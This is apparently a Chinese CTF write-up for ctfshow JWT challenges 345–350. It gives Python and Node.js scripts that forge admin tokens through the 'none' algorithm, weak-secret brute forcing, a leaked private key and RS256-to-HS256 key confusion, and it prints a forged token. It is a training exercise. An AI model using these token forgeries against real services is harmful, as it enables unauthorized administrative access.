ctfshow_JWT

jwt在线解密/加密

JWT

JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔

1
2
3
Header
Payload
Signature
1
2
3
4
5
6
7
8
9
{
'typ': 'JWT',
'alg': 'HS256'
}

# typ:声明类型
# alg:声明加密的算法 通常直接使用 HMAC SHA256
需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"sub": "1234567890",
"name": "John Doe"
}

标准中注册的声明 (建议但不强制使用)
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

345 简单改值

cookie => auth = … (base64) => 解码 修改 admin 属性 => 编码提交

346 修改算法为none

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import time
import jwt

# payload
token_dict = {
"iss": "admin",
"iat": 1723295825,
"exp": 1723303025,
"nbf": 1723295825,
"sub": "admin",
"jti": "c4551a3bf0ea7f0638157ab6621b8da6"
}

# headers
headers = {
"alg": "none", # 算法 设置为none
"typ": "JWT"
}


jwt_token = jwt.encode(token_dict,key='',headers=headers,algorithm="none")

print(jwt_token)

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyMzM2NjI0OSwiZXhwIjoxNzIzMzczNDQ5LCJuYmYiOjE3MjMzNjYyNDksInN1YiI6ImFkbWluIiwianRpIjoiMjIxY2NkZDJkMGQyMmI1YjgzNmM4NTdkYjZlODgzNzgifQ.

web 347 弱口令

爆破对称密钥

c-jwt-cracker Jwt 密钥爆破工具的安装使用 - 潜伏237 - 博客园 (cnblogs.com)

passwd : 123456

生成 jwt

1
2
3
4
5
6
7
8
9
10
11
import jwt
payload = {
"iss": "admin",
"iat": ...,
"exp": ...,
"nbf": ...,
"sub": "admin",
"jti": "a4b369d0b43dd96bcf980881e3f0d5ea"
}
secret = '123456'
print(jwt.encode(payload, secret, algorithm='HS256'))

web 348 弱口令

同 347 , pass = aaab

349 不对称加密

题目给了源码

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

看到有 公钥密钥, RSA256 加密, jwt.io maybe弄

1
2
3
../private.key

../public.key

唉 不行 版本不对劲, 那就用脚本

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

其中会碰到报错(源码里面有两个 return failure(new Error 会影响脚本 , 去本地下载的 sign.js 里面注释掉就能跑脚本了 )

拿到 cookie 之后替换, 发一个普通 POST 请求路由即可

web 350 对称加密

给了源码,只有公钥 没有私钥,考虑改变算法:RS265(非对称加密)=> HS256(对称加密),同时吸取 349 教训 使用题目环境生成 cookie,保证其版本一致

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

res.cookie('auth',token);
res.end('where is flag?');
});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});

公钥

1
../public.key 

小改脚本

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var publickey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, publickey, { algorithm: 'HS256' });
console.log(token)

拿到 token 之后 POST 发个空包即可
JWT 暂时告一段落